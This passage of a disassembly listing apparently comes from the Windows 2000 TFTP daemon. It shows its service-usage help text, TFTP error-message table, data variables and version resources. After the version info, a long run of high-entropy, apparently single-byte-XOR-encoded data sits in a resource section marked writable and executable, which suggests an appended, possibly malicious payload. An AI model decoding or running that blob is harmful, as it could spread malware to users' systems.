db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
aTftpd db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:off_1005CB0o
align 10h
off_1005CB0 dd offset aTftpd ; DATA XREF: sub_1001570:loc_1001646o
; "Tftpd"
dd offset sub_1001665
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
dword_1005CE8 dd 2Ah, 0Dh dup(0) ; sub_10037BF+87o
dword_1005D20 dd 2Ah, 0Dh dup(0) ; sub_100333A+163o ...
dword_1005D58 dd 2Ah, 0Dh dup(0) ; sub_10037BF+EAo
dword_1005D90 dd 2Ah, 0Ch dup(0) ; sub_10037BF+11Ao
dword_1005DC4 dd 1 align 10h
dword_1005DD0 dd 0 ; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
dword_1005DDC dd 0 ; sub_1001665+8Br ...
dword_1005DE0 dd 0 ; sub_1001E73:loc_1001F0Cr ...
align 8
dword_1005DE8 dd 0 ; sub_1001A91+2B3o
dword_1005DEC dd 0 ; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 dword_1005E00 dd 0 ; sub_1002219+D5o
db 3 dup(0)
dword_1005E07 dd 0 ; sub_1003910+6Br ...
align 4
dd 7Ch dup(0)
dword_1005FFC dd 0 dword_1006000 dd 0 dword_1006004 dd 0 dword_1006008 dd 0 dword_100600C dd 0 dd 4 dup(0)
dword_1006020 dd 6 dup(0) ; .text:01001D78o ...
dword_1006038 dd 0 ; sub_10018DB+34w ...
dword_100603C dd 0 dword_1006040 dd 0 ; sub_1001DEB:loc_1001E35r
dword_1006044 dd 0 ; sub_1001665+DBr ...
dword_1006048 dd 6 dup(0) dword_1006060 dd 6 dup(0) ; sub_1001A1F+2o ...
dword_1006078 dd 0 ; sub_10019F0+Fw ...
dword_100607C dd 0 dword_1006080 dd 6 dup(0) ; sub_100287F+1o ...
dword_1006098 dd 0 ; sub_10018DB+25w ...
dword_100609C dd 0 dword_10060A0 dd 0 ; sub_10018DB+A2r ...
dd 7 dup(0)
dword_10060C0 dd 0 ; sub_1001665:loc_1001857o
dword_10060C4 dd 0 dword_10060C8 dd 0 dword_10060CC dd 0 dd 0Ch dup(0)
dword_1006100 dd 4 dup(0) ; sub_1002219:loc_10022E9o
dword_1006110 dd 0 align 10h
dword_1006120 dd 0 ; sub_1001665+63o ...
dword_1006124 dd 0 ; sub_1001665+D1w ...
dword_1006128 dd 0 ; sub_1001665+E1w
dword_100612C dd 0 ; sub_1001E73+5Aw ...
dword_1006130 dd 0 ; sub_1001E73+60w ...
dword_1006134 dd 0 ; sub_1001665+EBw ...
dword_1006138 dd 0 ; sub_1001665+F1w ...
align 10h
dword_1006140 dd 64h dup(0) dword_10062D0 dd 0 dword_10062D4 dd 0 dword_10062D8 dd 0 align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 0000D400 ( 54272.)
; Section size in file : 0000D400 ( 54272.)
; Offset to raw data for section: 00007000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 0Bh dup(0)
dd 0FCFC146Ch, 0F877FCFCh, 0D77C0BD8h, 0FCFCFCD8h, 757CFCFCh
dd 0FCD55064h, 0D8A077FCh, 0D188F8h, 4C4C75A5h, 75FCFCD5h
dd 0FCD54844h, 0D3447CFCh, 14FCFCD8h, 64FFF189h, 0FCFCD8CCh
dd 3FEA777h, 77F417CFh, 0FCD8CD64h, 0A7CF03FCh, 907D69A9h
dd 0FCF9F8D8h, 1F7DFCFCh, 3030CFCh, 0ECFA117Dh, 8077FCBCh
dd 4971F8D8h, 0FCBCC8C0h, 0FCFCFC45h, 7D580FFCh, 94A8B287h
dd 0F1898F95h, 71C0BF77h, 7D9AE4F8h, 88B9ACC4h, 0FC177DF4h
dd 89FCFCFDh, 84AC771Eh, 8E772FFFh, 0E4B677DCh, 51AD0FFFh
dd 847D3FFFh, 99BBFC03h, 7DE78988h, 8EACFF84h, 0EE899F93h
dd 0BDFB847Dh, 898E9898h, 0F7847DF5h, 0FC8F8F99h, 2B1EF988h
dd 0D53FA1A5h, 8E77D8F0h, 0FFFA5D8h, 0B2F84BF3h, 0FFE08677h
dd 7BC87707h, 0F0140FFFh, 0BFFCFCFCh, 998F9390h, 98929DB4h
dd 0AFFC9990h, 79752A03h, 0FCBCC9C0h, 0FCFCF114h, 998EBFFCh
dd 0B999889Dh, 8892998Ah, 3AFFCBDh, 0BC79752Ah, 14FCBCC9h
dd 0FCFCFCF1h, 0B08899BBh, 0B9888F9Dh, 8E938E8Eh, 2A03AFFCh
dd 0C9B87975h, 8C14FCBCh, 79FCFCFCh, 0ACDD883Ch, 0C9B86903h
dd 3C79FCBCh, 7971EC89h, 0FCBCED2Eh, 1403AC76h, 0FCFCFC92h
dd 69038017h, 0FCBCC9C0h, 0C8CD790Bh, 0FCFCFCBCh, 0E2887CFCh
dd 0C8C94971h, 8077FCBCh, 5958F8D8h, 0C54E6177h, 4977FCBCh
dd 0FCBCC54Ah, 0C5464177h, 3FA1FCBCh, 96FC96A6h, 96FC96FCh
dd 0FCFD94FCh, 3877FCF8h, 96ACFC96h, 33877F0h, 0A3A8AA1Eh
dd 0CFFCFCCFh, 3261435h, 69710303h, 0FCBCED5Dh, 0ACADADAEh
dd 0C9BC6903h, 387FFCBCh, 0E763FDCh, 0FCDEA345h, 0BCECCCFCh
dd 51E2AFEh, 0AD85063Fh, 205E0192h, 0BC93AF2Ah, 504E0457h
dd 7DEEF9D9h, 0B7E7432h, 0D8A2BD0Fh, 0DA6797A2h, 47E60DBBh
dd 0A0E7AA57h, 2924DFEAh, 0D29C0BEAh, 2925FEDAh, 74AA7h
dd 0FB8AE4Ah, 636DE1A4h, 1877C3Ah, 0E0ABDC27h, 30321AAh
dd 0E3CE84D7h, 0B05B5113h, 0B1FEB4C7h, 1B48E414h, 0CF712422h
dd 873A8AFh, 7FB69552h, 78A2E865h, 0D7058482h, 0ABE6F68Eh
dd 0D0BEDC71h, 5D5FC4CAh, 0F0AED1B2h, 86F3292h, 0DF1E7E12h
dd 7803E4BFh, 5F8EC142h, 9798ADDEh, 35F3E38Dh, 98D69C8Ah
dd 0C4174B29h, 49C6BCB0h, 0A0CED43Fh, 7B6361EAh, 0E30E4410h
dd 0ABC4E3BFh, 0BCB514DEh, 98654420h, 4DFBE93Bh, 7B863C60h
dd 29621F39h, 0FF48BCFDh, 0D3A693DEh, 17E6DDDAh, 40CBA467h
dd 38D28F0Ah, 0B421E4A7h, 0B7B9C298h, 0A5E3EC5h, 7C76046Bh
dd 90E60482h, 57A69D9Ah, 808BE427h, 0D71649CAh, 0F106166h
dd 58069605h, 241E147Ah, 0F936462Ah, 3A1948AAh, 690E0C5Bh
dd 7F7E7572h, 0D8A3DC1Fh, 0B0A4CCA2h, 5D39BCBBh, 0E09EE182h
dd 0F8F6E902h, 0EE5AED02h, 284CE3E5h, 2A34D76Bh, 0E4C3B340h
dd 9B6E2457h, 3505BF8Bh, 0A0DEA1E2h, 8F32A3AAh, 38313B3Ch
dd 0E8E6DCDCh, 4CBAA0BCh, 8DE90C46h, 306E11AAh, 5F3589B7h
dd 0A96D5412h, 4DA6D1E7h, 9B3F84C2h, 0AAE07409h, 7D3DB4B2h
dd 0D896F932h, 0F36AEBE2h, 83F90304h, 602BC097h, 3946D32Ah
dd 63DBC1CDh, 0EDED5C1Ah, 803E419Ah, 1797FC75h, 0F09D4627h
dd 104337BAh, 1FDE94E7h, 7D79ED9Ah, 104E37EBh, 1DFA9191h
dd 49DD3472h, 0D7573DB5h, 305D92E7h, 7574947Ah, 1D136B6Dh
dd 0B8F69AE4h, 0D0A40B49h, 9819052Ch, 31F77F6h, 0E1154C60h
dd 5A2E4E75h, 0D7F3B122h, 0D95E1447h, 78766C76h, 94035009h
dd 575962D7h, 4D15D24Dh, 0D8D681CEh, 5B88E4E2h, 0A302BB77h
dd 46B2F020h, 52CDCE81h, 39802C42h, 0A4ED5C5Ah, 44F57418h
dd 98FE8CE0h, 0DAA6A4A2h, 0A294EDFAh, 752184DCh, 0F8B6D90Ah
dd 50CA875Ah, 284FD272h, 2AEABF32h, 329AC74Ah, 1A6E0E22h
dd 88EC2E78h, 0A0F75AFAh, 0E9B6C6AAh, 2F9E3BA8h, 0A8D3384Fh
dd 85A7ABF2h, 3F9203F5h, 0BDD1DBDFh, 8563C8Fh, 6A2AED52h
dd 97FD6C6Ah, 7D0F2171h, 0A8E68C9Ah, 0D4F2313Fh, 3829CC8Ah
dd 0E80E716Fh, 0F754FCBAh, 602B8887h, 3820C42Ah, 3F024442h
dd 18133735h, 0F6170622h, 0FFF3E0E3h, 0DCCFF2C7h, 0C887D9CFh
dd 0A84B2B82h, 71F6ACDFh, 503B4887h, 42724C1Ah, 0BFC15E12h
dd 1863A0DFh, 2FAEE162h, 0E210430Fh, 2BC8C290h, 0EAB7C67Eh
dd 0D0CED52Ah, 0AC838FDAh, 678B9697h, 6E7F7E5Ah, 574B484Bh
dd 0B7103C5Fh, 206B18C7h, 2EB2E76Ah, 0C6DED2D4h, 783363CDh
dd 43BEF487h, 2781DC0Eh, 0B0DBD877h, 620696FAh, 508BEB10h
dd 81366C1Fh, 504E456Ah, 0E18777CDh, 0D72A507Eh, 0AD3A1975h
dd 469DA4E2h, 0FEFA1939h, 0B4DED492h, 486313BDh, 950E4437h
dd 6E7A68DAh, 323ACAB1h, 7C22B3A4h, 1A6E0E6Ah, 20138350h
dd 259ED4A7h, 2B6AD86Ah, 0D0CAF92Ah, 792FEFDAh, 85C7C411h
dd 18563A36h, 0F1AF0C57h, 48463194h, 360E0002h, 2B263C3Bh
dd 0A5E6117Dh, 68239CDAh, 3FB1C0EBh, 57DEE8BEh, 0B0D8D867h
dd 0F5AA14FAh, 0DF4DEBEDh, 780310BFh, 0D1D6AF42h, 6867749Eh
dd 15812372h, 98D6B9B6h, 4F55414Bh, 0C88F3145h, 0E0868C8Ah
dd 0F8F6C524h, 100E0967h, 28261C1Bh, 403E3432h, 58564C4Ah
dd 8F3D3233h, 0C8B334EFh, 0CC73F92h, 43C36C2Eh, 8C0D2A20h
dd 8D95BD98h, 659395BCh, 7274436Eh, 435A4747h, 7A756B66h
dd 1237020Dh, 1476191Eh, 0FCFCF0F1h, 0EBA6F2FFh, 0B4DFD1C0h
dd 0B4BF8AAFh, 0B3EEA587h, 7C679988h, 4C775277h, 4857614Fh
dd 37202D32h, 1A255C1Bh, 0E50A1517h, 0FBF9FEDAh, 0F1DDD7C7h
dd 0ADB4FFBAh, 0B2BBA0B3h, 8C99818Fh, 62665067h, 28427D7Fh
dd 215B4671h, 3002293Eh, 140F0110h, 0EDF43F7Ah, 0F4FBE0F3h
dd 0D0DAC3C5h, 0E3BEA8A7h, 89888FE8h, 6F968782h, 60530C7Eh
dd 587A504Bh, 2C275948h, 0C371252h, 151F380Fh, 0C3E1D0E7h
dd 0CDD2EFE3h, 0ADD7E0DFh, 0BD91CCAFh, 9C87A296h, 7C72BD9Fh
dd 557C7D60h, 7945495Eh, 242B0342h, 0D0A351Ch, 0E5041D21h
dd 0ECF3CB8Ah, 0D5C2CDE4h, 0ADABD5EEh, 94BB93D2h, 8D9283A7h
dd 7146616Eh, 4D4A7874h, 25793473h, 3533183Eh, 1C072212h
dd 0E5E7321Fh, 0E79ED5F7h, 0DDE2D8CFh, 0B19EB4AFh, 0E8A7B4AEh
dd 568A91B5h, 71657E6Fh, 772E4A4Dh, 2D10485Fh, 0F372720h
dd 390E2904h, 0F1E1C882h, 0CACFD0FEh, 0B9CCD5C0h, 0B99BCC8Bh
dd 9587B292h, 4E60B38Dh, 207B787Bh, 56535C65h, 35222D04h
dd 18163D17h, 0C1191A1Bh, 0FDE6C38Ah, 0DFDCF4CCh, 0BBB5D9D9h
dd 8FAC84D2h, 8B858989h, 79483631h, 28526F68h, 23514662h
dd 6B253F2Fh, 80B2A50h, 0EDD57C0Eh, 0CCF7D2E6h, 0CCC2EDCFh
dd 0A5ACADB0h, 0A995B9AEh, 749BA7F2h, 7D7A654Ch, 55434D76h
dd 2D2A6F3Ah, 335E2437h, 1D021F13h, 0FDE7D0EFh, 0EEC9C8FFh
dd 94DBD8DBh, 0D8B3A1A3h, 91838AB7h, 6D6FAA8Ah, 66785B65h
dd 38534043h, 243C2D14h, 290A3D2Fh, 0E311181Eh, 0F1E4DB8Ah
dd 0D9E8C1D6h, 86C6D9D6h, 8ABA95A6h, 0A8829F9Fh, 79786D70h
dd 4D417976h, 2B516041h, 1656222Fh, 151C2716h, 0CEE3081Bh
dd 0A0FBF8FBh, 0CAF5D8E4h, 0B5BAA5A7h, 8B89AE8Ah, 8D8797h
dd 6A557844h, 555A4547h, 2B294E6Ah, 252D2737h, 0C386C12h
dd 0F1EBF6C1h, 0CDF5F9EEh, 0AFD7C0D1h, 0AC98CCA4h, 0A69E85AFh
dd 47719993h, 437B4774h, 5659455Eh, 1F3A0A42h, 2E08392Ah
dd 801B181Bh, 0E8D9F8C4h, 0C2FECAC7h, 0BBA3DFD5h, 8BB180A1h
dd 0B6F6828Fh, 7F7C5476h
dd 5C45796Eh, 344C5D64h, 153A2D3Fh, 2010907h, 0FCC87C03h
dd 0D4F7E6C5h, 0CADFFACFh, 0BCAFB1B6h, 878BB997h, 52FE8D80h
dd 7643607Eh, 5441474Bh, 3A326F5Fh, 34393A3Bh, 0B182D05h
dd 0E2FAD7EBh, 0A8C1F2F3h, 93FFE7E5h, 0ACA4ADBEh, 93EE9497h
dd 6D759396h, 4B7D7B61h, 5B36584Fh, 35202A2Dh, 0F662839h
dd 0EF160017h, 0E1F4F8F9h, 0D5C3C5CCh, 0ABA3CEBAh, 85ADD4A4h
dd 8BF68884h, 7565676Dh, 466F1C6Eh, 2E4C5146h, 3415382Fh
dd 380B170Dh, 0E4E2121Bh, 0CED794F7h, 0D6C4C9DEh, 0B589B0A7h
dd 86899FAEh, 749D919Ch, 6C45686Fh, 304B5043h, 2D325273h
dd 143B3A20h, 16131C25h, 0FEC784C3h, 0C6D4F9EEh, 0B0F1C0D7h
dd 0AA83A2AFh, 0B9EEA58Eh, 7A638894h, 726A717Ch, 7E524D4Fh
dd 502B282Bh, 2930181Bh, 0B24D3D22h, 0D4DAC8A4h, 0D7CBF6A2h
dd 0BBA9D0F9h, 99BB9FB7h, 9F93BEEAh, 7E6B744Dh, 6D5F7951h
dd 123E754Ah, 2D072B2Fh, 26171607h, 0EDF3101Bh, 0A0DFECD7h
dd 0EBD1C9F8h, 0B198B0A7h, 0AD83A9B6h, 83FEB58Ah, 0D03D09E3h
dd 302E4C73h, 4CBD43Ah, 60345776h, 28276900h, 1B8BEED1h
dd 7C2DCC56h, 80D4E0E2h, 27859E9Bh, 0B0DB1477h, 4C27FFAh
dd 15EA81EDh, 0FCB52C6Ah, 0DD19874Ah, 2873EDDFh, 0D0814772h
dd 96FC8CE0h, 850A315Dh, 843BCFAh, 0E04E50DDh, 90A6ECEAh
dd 100E6DCCh, 284CC891h, 54F8B9h, 48564C22h, 226C0E62h
dd 46EE7C10h, 0CA9E94FBh, 0E8E5FDAAh, 0E52A513Dh, 0B1B9DC9Ah
dd 35C2610Dh, 0E7930C4Ah, 0BDA57856h, 480629B2h, 0F5D358B1h
dd 78367C6Ah, 0C3D95581h, 2D2D4E65h, 0C0FE8166h, 0FB424347h
dd 0A406E4E2h, 83F90305h, 602BFC97h, 0D9B9A12Ah, 0B84E4461h
dd 9799A319h, 0B5A6F1F9h, 171B8CCAh, 0B0AE874Ah, 37398E52h
dd 3C5B5F2Dh, 7DF6ACDFh, 9D0570C2h, 2805E995h, 0BF23DC32h
dd 9FDDB3B5h, 983BA73Dh, 88867C7Ah, 0B47315CFh, 8BB6ECB0h
dd 7E4B490Bh, 0B9E69CC7h, 50AFA5A6h, 8DE95D5Bh, 306E114Eh
dd 0B76238BDh, 206B68C7h, 7CB4316Ah, 9066D182h, 0F5A69C9Ah
dd 0DAFD5933h, 27BCCC8Ah, 0EAE0716Fh, 5A56FCBAh, 203A34DFh
dd 0FCB52C00h, 0D589224Eh, 6826460Eh, 5B954BFh, 98D696DCh
dd 0B084A486h, 0C9AC7FE7h, 0D321D5B8h, 7F29F15h, 64CE8117h
dd 282D74EAh, 90B53432h, 64064F11h, 6A1CD1EFh, 320D7C3Ah
dd 0A09E959Eh, 0B9BE2621h, 28CDC4C2h, 638617F1h, 61580739h
dd 0FA51097Eh, 0B3ECCFD7h, 0C31133FDh, 0ACD50786h, 381C383Ah
dd 6FE4D6D3h, 9D560965h, 43DB4F2h, 0AC4347C6h, 0DBEEA4D7h
dd 0FEC7F2Dh, 207413D5h, 6FBF2CC2h, 4A248741h, 686FB402h
dd 0C2F37472h, 516826EBh, 0D96D54D7h, 88F0FA2Fh, 0E85AD1D2h
dd 6D7FAEE2h, 104E3244h, 7DE5FEEDh, 403E34DAh, 0B5D7114Ah
dd 702E7F6Bh, 0BECCE1F1h, 0DC1D94D2h, 0B7B6A48Eh, 0D0CE7D46h
dd 0E00A5DDAh, 54FEF4F0h, 18170862h, 0A0BBDB22h, 0C3467C0Fh
dd 44DAD9AEh, 78766D6Eh, 788EEED2h, 0A8A69C9Eh, 0C0EAE6E4h
dd 5443339Dh, 0C3EEA4D7h, 0C917133h, 711E1413h, 6934467Bh
dd 50264528h, 3A265C5Ah, 0B522E18Dh, 1D008CCAh, 0E0F5D054h
dd 0C9C2D4EEh, 1F89D4D2h, 0FAD6C85Eh, 85F10402h, 28662A32h
dd 34FEB16Bh, 842AF5Ch, 7004B0E9h, 0DED12D28h, 9552016Dh
dd 3DEFACEAh, 861EB102h, 0DDDA4925h, 5773F4B2h, 72415E4Eh
dd 0A7A37C66h, 48463D3Eh, 0A9E67F9h, 0D385357Ah, 0C0DED4D2h
dd 0FAF6CCCAh, 0F5DA214Dh, 1C57CC8Ah, 0F0EEE6EAh, 228805h
dd 160681EDh, 0C7652C6Ah, 10785CD7h, 6CA4015Ah, 8A40F472h
dd 13D08DFFh, 0F0BB202Fh, 45DF5FBAh, 0A0CED447h, 0AE27EFEAh
dd 0D08AD6FDh, 29399415h, 0C4313432h, 58564D5Ah, 5545AE2h
dd 0B6063A6Ah, 0A11A9B92h, 38B6ACABh, 21BBE4FCh, 0B8D85D9Ch
dd 75B9BABBh, 0DED98748h, 1B612564h, 482C6DF4h, 9F0D0203h
dd 38407CFFh, 51B5DD82h, 0A8791995h, 4533B4B2h, 0D896D168h
dd 0FC86E488h, 5806FCFAh, 308BEB41h, 5366C1Ch, 504E444Eh
dd 68D9D955h, 31977472h, 19968C8Ah, 0F9FCF49Ch, 6D43B3ECh
dd 63DED4D2h, 0C45AE42Ch, 898A0B0Fh, 14261C1Ah, 0ECCD4112h
dd 0DD597676h, 706E64EEh, 0A8A671D7h, 81A3B4B2h, 0CDC2C9CDh
dd 0F0F268BDh, 9667A0AFh, 7496D40Dh, 9967797Eh, 0A5E275Ch
dd 20331315h, 60A11394h, 68CC5D65h, 678E84A5h, 3D59CE78h
dd 0C0FE810Eh, 88860CF9h, 0F906B4B2h, 4C06FCFAh, 4C70637Dh
dd 38524D45h, 666ED1BDh, 0A8E35C1Ah, 494D4206h, 0AEDC0903h
dd 0D8FFA4E2h, 48C6BEBAh, 0B0888583h, 0CED27915h, 85830442h
dd 28660719h, 14F70762h, 9041C1Bh, 1CFB9B33h, 0F863C4Fh
dd 3561B096h, 0B8F69996h, 5D4E073Ah, 0E8A6C9ADh, 533D0DF3h
dd 4F424A45h, 6C6B7663h, 3A255577h, 631273Dh, 1121301Eh
dd 0E7E1E0ECh, 0DDE5C0E9h, 0AEDBC6C0h, 0AAB39ABEh, 9E818D91h
dd 787EB9A6h, 456C7B7Eh, 59622C58h, 242B2330h, 1C153312h
dd 7F7E7672h, 9896F37Ah, 0DFDCD4A3h, 0E6ABD5C2h, 87BDA6BBh
dd 8097808Bh, 7C7E2A7Bh, 6B6F521Ah, 32531479h, 2A253830h
dd 25641518h, 0A8D43929h, 90ACA4EBh, 98879C9Fh, 0F0E0E4ECh
dd 0A7ACF1E0h, 26DEBABBh, 6C64657Ch, 0D87B2E57h, 48463C3Ah
dd 0D4B3D50Fh, 0BE762C77h, 0D09BF307h, 3D599C9Ah, 0C0FE8126h
dd 0ACC9240Bh, 7BF08EDEh, 4833AC4Fh, 1CB24D12h, 5E1C5904h
dd 4DB17AC3h, 0D5EB7F2Fh, 803E4232h, 0CF94FA01h, 3D0BC207h
dd 88F5D63Fh, 705B5BD2h, 2F6ACD9h, 9CF4428Bh, 99DDE254h
dd 0ABF1D633h, 0E9D3C109h, 206E2477h, 86EC7C10h, 953A016Dh
dd 0C435ACEAh, 0A5CACCE6h, 0E8E234F1h, 46ADF4F2h, 8DE90C49h
dd 306E11AAh, 0B7BA74D2h, 6059BCADh, 3E256C6Ah, 0C3C1DBC1h
dd 2033639Ah, 28BEF487h, 272930FBh, 0F1DB20Ah, 0B8B0305h
dd 0C81E5401h, 38362C21h, 20B1717h, 2C486E69h, 7F7E383Eh
dd 0D8A3101Fh, 0B0A44CA2h, 0BBB1BCBAh, 8EB7A6A2h, 0F8B78A9Eh
dd 589BFB52h, 0A1265C2Fh, 0B60B7h, 0D567434Ah, 307684EFh
dd 0CE03F57Ah, 0F19ED4A4h, 8D2A3955h, 0B85DC482h, 0E8E6DCDEh
dd 1813417Fh, 954F0C4Ah, 7018089Fh, 0BE90D43Ah, 0A738ABADh
dd 386B0BEFh, 137E7B82h, 0E8BBF53Fh, 5533B4B2h, 0D896D1EDh
dd 0F184B0B2h, 6054FC90h, 0A01E1410h, 0E06B9D5h, 90CB4402h
dd 0E5442900h, 0C0632EFFh, 9EFCDE8Ah, 0ADC9112Fh, 9E92BCFAh
dd 0B28F8482h, 0CEC27915h, 0EF560442h, 6810308Fh, 0DBBF232h
dd 58560C72h, 706E688Ah, 0C7D52B7Ah, 92ADDFD1h, 0F4FAE884h
dd 4C5B3BC2h, 7BE69CEFh, 0FEF39Ah, 5CA3810Ah, 692E643Ah
dd 7DBA81B7h, 31B65412h, 9089939Ch, 908E848Eh, 0E1E8D5CDh
dd 0EEEAF1FCh, 0D89A808Eh, 0C572711Dh, 0C883FCBAh, 21F9901Dh
dd 50A52C2Ah, 504E4447h, 70E4E9D7h, 0D277432h, 0D8A09437h
dd 46B44CA2h, 75454345h, 0E09EE2CEh, 3A72E3EAh, 910E0403h
dd 28278CF6h, 41566032h, 0A7564C4Bh, 305B98F7h, 1842FD7Ah
dd 0F09E9493h, 0B8DC7821h, 0CC5B3B90h, 6DE69CECh, 0D8BAD32h
dd 18058462h, 8CBBDB22h, 0A3467C0Fh, 9E3D7B0h, 78762C77h
dd 1503ADF7h, 0A8E681F7h, 0C82B4BE2h, 5DD68CFCh, 0CB6AEB22h
dd 8306FCFBh, 20951852h, 0BDB91CD5h, 500E592Bh, 502BD99Ch
dd 0EA7F7432h, 0F297E68Ah, 0A43B5BA0h, 4BC6FC8Ch, 64D12B2Ah
dd 0F8F6EDF8h, 759B8991h
dd 42265C07h, 0BF6D6622h, 186048DFh, 7FAEE162h, 88868EFFh
dd 26231992h, 9B6ECB7h, 2A722CCAh, 7C8E2325h, 5EFEF4F2h
dd 2C9FEA21h, 0A5D17006h, 480609A2h, 7DCAE9DFh, 79C76C2Ah
dd 6F74196Ah, 8CE21765h, 0C85E75A2h, 0DCF288C1h, 0FBE60423h
dd 580ED8BEh, 201E11FAh, 0E18092Ah, 0AF19443Ah, 285308CFh
dd 8CBAF772h, 0B890CB4Ch, 0AD2F312Fh, 0C8ACBCFAh, 0E0DEF5BAh
dd 7A5BEEAh, 50381497h, 0C5A911Ah, 0D5C16326h, 58167912h
dd 7A5660A4h, 0D886163Ah, 3561C7C5h, 0B8F69ABAh, 6D4322C1h
dd 0E8A6C178h, 0C96F498h, 4F160C0Ah, 20BBDB71h, 75467C0Ch
dd 605E545Eh, 0CDFB211Fh, 90CEB2CCh, 90EB1117h, 0E95B4F2h
dd 8E87CCA0h, 0FC7B1BB1h, 8B06BCCCh, 0F6014EAh, 0B5C8A7BBh
dd 10780AF7h, 9A6BEC5Ah, 0E06E01DCh, 676C7462h, 0A7DCC55Dh
dd 0BF4BB559h, 6B343FD3h, 7538C725h, 50384ABFh, 0AF82EF1Ah
dd 1387DFC5h, 6E56D9B5h, 0CDEE6422h, 88C6690Dh, 0C8B4E093h
dd 0B8B6D99Ah, 0E572513Dh, 5566DC9Ah, 0BECCBFh, 0DF07780Ah
dd 70334DA7h, 48463C3Ah, 2DDB9252h, 78762C52h, 6F70D26Bh
dd 28235B65h, 0C0BEF4A7h, 8556CCCAh, 0FDEEE020h, 6626B3F0h
